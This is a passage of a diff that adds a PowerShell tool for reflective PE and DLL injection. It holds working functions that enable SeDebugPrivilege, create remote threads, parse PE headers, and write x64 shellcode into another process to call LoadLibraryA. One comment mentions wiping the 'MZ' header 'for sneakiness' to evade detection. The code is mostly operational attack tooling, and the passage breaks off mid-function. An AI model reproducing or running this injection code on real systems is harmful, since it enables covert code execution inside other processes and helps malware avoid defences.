+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
874
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
875
+
876
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
877
+ {
878
+ for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--)
879
+ {
880
+ if ($Value1Bytes[$i] -gt $Value2Bytes[$i])
881
+ {
882
+ return $true
883
+ }
884
+ elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i])
885
+ {
886
+ return $false
887
+ }
888
+ }
889
+ }
890
+ else
891
+ {
892
+ Throw "Cannot compare byte arrays of different size"
893
+ }
894
+
895
+ return $false
896
+ }
897
+
898
+
899
+ Function Convert-UIntToInt
900
+ {
901
+ Param(
902
+ [Parameter(Position = 0, Mandatory = $true)]
903
+ [UInt64]
904
+ $Value
905
+ )
906
+
907
+ [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
908
+ return ([BitConverter]::ToInt64($ValueBytes, 0))
909
+ }
910
+
911
+
912
+ Function Get-Hex
913
+ {
914
+ Param(
915
+ [Parameter(Position = 0, Mandatory = $true)]
916
+ $Value #We will determine the type dynamically
917
+ )
918
+
919
+ $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2
920
+ $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first.
921
+
922
+ return $Hex
923
+ }
924
+
925
+
926
+ Function Test-MemoryRangeValid
927
+ {
928
+ Param(
929
+ [Parameter(Position = 0, Mandatory = $true)]
930
+ [String]
931
+ $DebugString,
932
+
933
+ [Parameter(Position = 1, Mandatory = $true)]
934
+ [System.Object]
935
+ $PEInfo,
936
+
937
+ [Parameter(Position = 2, Mandatory = $true)]
938
+ [IntPtr]
939
+ $StartAddress,
940
+
941
+ [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)]
942
+ [IntPtr]
943
+ $EndAddress,
944
+
945
+ [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
946
+ [IntPtr]
947
+ $Size
948
+ )
949
+
950
+ [IntPtr]$FinalEndAddress = [IntPtr]::Zero
951
+ if ($Size)
952
+ {
953
+ [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
954
+ }
955
+ else
956
+ {
957
+ $FinalEndAddress = $EndAddress
958
+ }
959
+
960
+ $PEEndAddress = $PEInfo.EndAddress
961
+
962
+ if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
963
+ {
964
+ Throw "Trying to write to memory smaller than allocated address range. $DebugString"
965
+ }
966
+ if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true)
967
+ {
968
+ Throw "Trying to write to memory greater than allocated address range. $DebugString"
969
+ }
970
+ }
971
+
972
+
973
+ Function Write-BytesToMemory
974
+ {
975
+ Param(
976
+ [Parameter(Position=0, Mandatory = $true)]
977
+ [Byte[]]
978
+ $Bytes,
979
+
980
+ [Parameter(Position=1, Mandatory = $true)]
981
+ [IntPtr]
982
+ $MemoryAddress
983
+ )
984
+
985
+ for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
986
+ {
987
+ [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
988
+ }
989
+ }
990
+
991
+
992
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
993
+ Function Get-DelegateType
994
+ {
995
+ Param
996
+ (
997
+ [OutputType([Type])]
998
+
999
+ [Parameter( Position = 0)]
1000
+ [Type[]]
1001
+ $Parameters = (New-Object Type[](0)),
1002
+
1003
+ [Parameter( Position = 1 )]
1004
+ [Type]
1005
+ $ReturnType = [Void]
1006
+ )
1007
+
1008
+ $Domain = [AppDomain]::CurrentDomain
1009
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
1010
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
1011
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
1012
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
1013
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
1014
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
1015
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
1016
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
1017
+
1018
+ Write-Output $TypeBuilder.CreateType()
1019
+ }
1020
+
1021
+
1022
+ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
1023
+ Function Get-ProcAddress
1024
+ {
1025
+ Param
1026
+ (
1027
+ [OutputType([IntPtr])]
1028
+
1029
+ [Parameter( Position = 0, Mandatory = $True )]
1030
+ [String]
1031
+ $Module,
1032
+
1033
+ [Parameter( Position = 1, Mandatory = $True )]
1034
+ [String]
1035
+ $Procedure
1036
+ )
1037
+
1038
+ # Get a reference to System.dll in the GAC
1039
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
1040
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
1041
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
1042
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
1043
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
1044
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
1045
+ # Get a handle to the module specified
1046
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
1047
+ $tmpPtr = New-Object IntPtr
1048
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
1049
+
1050
+ # Return the address of the function
1051
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
1052
+ }
1053
+
1054
+
1055
+ Function Enable-SeDebugPrivilege
1056
+ {
1057
+ Param(
1058
+ [Parameter(Position = 1, Mandatory = $true)]
1059
+ [System.Object]
1060
+ $Win32Functions,
1061
+
1062
+ [Parameter(Position = 2, Mandatory = $true)]
1063
+ [System.Object]
1064
+ $Win32Types,
1065
+
1066
+ [Parameter(Position = 3, Mandatory = $true)]
1067
+ [System.Object]
1068
+ $Win32Constants
1069
+ )
1070
+
1071
+ [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
1072
+ if ($ThreadHandle -eq [IntPtr]::Zero)
1073
+ {
1074
+ Throw "Unable to get the handle to the current thread"
1075
+ }
1076
+
1077
+ [IntPtr]$ThreadToken = [IntPtr]::Zero
1078
+ [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1079
+ if ($Result -eq $false)
1080
+ {
1081
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1082
+ if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
1083
+ {
1084
+ $Result = $Win32Functions.ImpersonateSelf.Invoke(3)
1085
+ if ($Result -eq $false)
1086
+ {
1087
+ Throw "Unable to impersonate self"
1088
+ }
1089
+
1090
+ $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
1091
+ if ($Result -eq $false)
1092
+ {
1093
+ Throw "Unable to OpenThreadToken."
1094
+ }
1095
+ }
1096
+ else
1097
+ {
1098
+ Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
1099
+ }
1100
+ }
1101
+
1102
+ [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
1103
+ $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
1104
+ if ($Result -eq $false)
1105
+ {
1106
+ Throw "Unable to call LookupPrivilegeValue"
1107
+ }
1108
+
1109
+ [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
1110
+ [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
1111
+ $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
1112
+ $TokenPrivileges.PrivilegeCount = 1
1113
+ $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
1114
+ $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
1115
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
1116
+
1117
+ $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
1118
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value
1119
+ if (($Result -eq $false) -or ($ErrorCode -ne 0))
1120
+ {
1121
+ #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
1122
+ }
1123
+
1124
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
1125
+ }
1126
+
1127
+
1128
+ Function Create-RemoteThread
1129
+ {
1130
+ Param(
1131
+ [Parameter(Position = 1, Mandatory = $true)]
1132
+ [IntPtr]
1133
+ $ProcessHandle,
1134
+
1135
+ [Parameter(Position = 2, Mandatory = $true)]
1136
+ [IntPtr]
1137
+ $StartAddress,
1138
+
1139
+ [Parameter(Position = 3, Mandatory = $false)]
1140
+ [IntPtr]
1141
+ $ArgumentPtr = [IntPtr]::Zero,
1142
+
1143
+ [Parameter(Position = 4, Mandatory = $true)]
1144
+ [System.Object]
1145
+ $Win32Functions
1146
+ )
1147
+
1148
+ [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
1149
+
1150
+ $OSVersion = [Environment]::OSVersion.Version
1151
+ #Vista and Win7
1152
+ if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
1153
+ {
1154
+ #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress"
1155
+ $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
1156
+ $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1157
+ if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1158
+ {
1159
+ Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
1160
+ }
1161
+ }
1162
+ #XP/Win8
1163
+ else
1164
+ {
1165
+ #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
1166
+ $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
1167
+ }
1168
+
1169
+ if ($RemoteThreadHandle -eq [IntPtr]::Zero)
1170
+ {
1171
+ Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
1172
+ }
1173
+
1174
+ return $RemoteThreadHandle
1175
+ }
1176
+
1177
+
1178
+
1179
+ Function Get-ImageNtHeaders
1180
+ {
1181
+ Param(
1182
+ [Parameter(Position = 0, Mandatory = $true)]
1183
+ [IntPtr]
1184
+ $PEHandle,
1185
+
1186
+ [Parameter(Position = 1, Mandatory = $true)]
1187
+ [System.Object]
1188
+ $Win32Types
1189
+ )
1190
+
1191
+ $NtHeadersInfo = New-Object System.Object
1192
+
1193
+ #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
1194
+ $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
1195
+
1196
+ #Get IMAGE_NT_HEADERS
1197
+ [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
1198
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
1199
+ $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
1200
+
1201
+ #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
1202
+ if ($imageNtHeaders64.Signature -ne 0x00004550)
1203
+ {
1204
+ throw "Invalid IMAGE_NT_HEADER signature."
1205
+ }
1206
+
1207
+ if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
1208
+ {
1209
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
1210
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
1211
+ }
1212
+ else
1213
+ {
1214
+ $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
1215
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
1216
+ $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
1217
+ }
1218
+
1219
+ return $NtHeadersInfo
1220
+ }
1221
+
1222
+
1223
+ #This function will get the information needed to allocated space in memory for the PE
1224
+ Function Get-PEBasicInfo
1225
+ {
1226
+ Param(
1227
+ [Parameter( Position = 0, Mandatory = $true )]
1228
+ [Byte[]]
1229
+ $PEBytes,
1230
+
1231
+ [Parameter(Position = 1, Mandatory = $true)]
1232
+ [System.Object]
1233
+ $Win32Types
1234
+ )
1235
+
1236
+ $PEInfo = New-Object System.Object
1237
+
1238
+ #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
1239
+ [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
1240
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
1241
+
1242
+ #Get NtHeadersInfo
1243
+ $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
1244
+
1245
+ #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
1246
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
1247
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
1248
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1249
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
1250
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
1251
+
1252
+ #Free the memory allocated above, this isn't where we allocate the PE to memory
1253
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
1254
+
1255
+ return $PEInfo
1256
+ }
1257
+
1258
+
1259
+ #PEInfo must contain the following NoteProperties:
1260
+ # PEHandle: An IntPtr to the address the PE is loaded to in memory
1261
+ Function Get-PEDetailedInfo
1262
+ {
1263
+ Param(
1264
+ [Parameter( Position = 0, Mandatory = $true)]
1265
+ [IntPtr]
1266
+ $PEHandle,
1267
+
1268
+ [Parameter(Position = 1, Mandatory = $true)]
1269
+ [System.Object]
1270
+ $Win32Types,
1271
+
1272
+ [Parameter(Position = 2, Mandatory = $true)]
1273
+ [System.Object]
1274
+ $Win32Constants
1275
+ )
1276
+
1277
+ if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
1278
+ {
1279
+ throw 'PEHandle is null or IntPtr.Zero'
1280
+ }
1281
+
1282
+ $PEInfo = New-Object System.Object
1283
+
1284
+ #Get NtHeaders information
1285
+ $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
1286
+
1287
+ #Build the PEInfo object
1288
+ $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
1289
+ $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
1290
+ $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
1291
+ $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
1292
+ $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1293
+
1294
+ if ($PEInfo.PE64Bit -eq $true)
1295
+ {
1296
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
1297
+ $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1298
+ }
1299
+ else
1300
+ {
1301
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
1302
+ $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
1303
+ }
1304
+
1305
+ if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
1306
+ {
1307
+ $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
1308
+ }
1309
+ elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
1310
+ {
1311
+ $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
1312
+ }
1313
+ else
1314
+ {
1315
+ Throw "PE file is not an EXE or DLL"
1316
+ }
1317
+
1318
+ return $PEInfo
1319
+ }
1320
+
1321
+
1322
+ Function Import-DllInRemoteProcess
1323
+ {
1324
+ Param(
1325
+ [Parameter(Position=0, Mandatory=$true)]
1326
+ [IntPtr]
1327
+ $RemoteProcHandle,
1328
+
1329
+ [Parameter(Position=1, Mandatory=$true)]
1330
+ [IntPtr]
1331
+ $ImportDllPathPtr
1332
+ )
1333
+
1334
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1335
+
1336
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1337
+ $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
1338
+ $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1339
+ if ($RImportDllPathPtr -eq [IntPtr]::Zero)
1340
+ {
1341
+ Throw "Unable to allocate memory in the remote process"
1342
+ }
1343
+
1344
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1345
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
1346
+
1347
+ if ($Success -eq $false)
1348
+ {
1349
+ Throw "Unable to write DLL path to remote process memory"
1350
+ }
1351
+ if ($DllPathSize -ne $NumBytesWritten)
1352
+ {
1353
+ Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1354
+ }
1355
+
1356
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1357
+ $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
1358
+
1359
+ [IntPtr]$DllAddress = [IntPtr]::Zero
1360
+ #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
1361
+ # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
1362
+ if ($PEInfo.PE64Bit -eq $true)
1363
+ {
1364
+ #Allocate memory for the address returned by LoadLibraryA
1365
+ $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1366
+ if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
1367
+ {
1368
+ Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
1369
+ }
1370
+
1371
+
1372
+ #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
1373
+ $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1374
+ $LoadLibrarySC2 = @(0x48, 0xba)
1375
+ $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
1376
+ $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1377
+
1378
+ $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
1379
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1380
+ $SCPSMemOriginal = $SCPSMem
1381
+
1382
+ Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
1383
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
1384
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
1385
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1386
+ Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
1387
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
1388
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
1389
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1390
+ Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
1391
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
1392
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
1393
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1394
+ Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
1395
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
1396
+
1397
+
1398
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1399
+ if ($RSCAddr -eq [IntPtr]::Zero)
1400
+ {
1401
+ Throw "Unable to allocate memory in the remote process for shellcode"
1402
+ }
1403
+
1404
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1405
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1406
+ {
1407
+ Throw "Unable to write shellcode to remote process memory."
1408
+ }
1409
+
1410
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1411
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1412
+ if ($Result -ne 0)
1413
+ {
1414
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1415
+ }
1416
+
1417
+ #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
1418
+ [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1419
+ $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1420
+ if ($Result -eq $false)
1421
+ {
1422
+ Throw "Call to ReadProcessMemory failed"
1423
+ }
1424
+ [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1425
+
1426
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1427
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1428
+ }
1429
+ else
1430
+ {
1431
+ [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
1432
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1433
+ if ($Result -ne 0)
1434
+ {
1435
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1436
+ }
1437
+
1438
+ [Int32]$ExitCode = 0
1439
+ $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
1440
+ if (($Result -eq 0) -or ($ExitCode -eq 0))
1441
+ {
1442
+ Throw "Call to GetExitCodeThread failed"
1443
+ }
1444
+
1445
+ [IntPtr]$DllAddress = [IntPtr]$ExitCode
1446
+ }
1447
+
1448
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1449
+
1450
+ return $DllAddress
1451
+ }
1452
+
1453
+
1454
+ Function Get-RemoteProcAddress
1455
+ {
1456
+ Param(
1457
+ [Parameter(Position=0, Mandatory=$true)]
1458
+ [IntPtr]
1459
+ $RemoteProcHandle,
1460
+
1461
+ [Parameter(Position=1, Mandatory=$true)]
1462
+ [IntPtr]
1463
+ $RemoteDllHandle,
1464
+
1465
+ [Parameter(Position=2, Mandatory=$true)]
1466
+ [IntPtr]
1467
+ $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
1468
+
1469
+ [Parameter(Position=3, Mandatory=$true)]
1470
+ [Bool]
1471
+ $LoadByOrdinal
1472
+ )
1473
+
1474
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1475
+
1476
+ [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
1477
+ #If not loading by ordinal, write the function name to the remote process memory
1478
+ if (-not $LoadByOrdinal)
1479
+ {
1480
+ $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
1481
+
1482
+ #Write FunctionName to memory (will be used in GetProcAddress)
1483
+ $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
1484
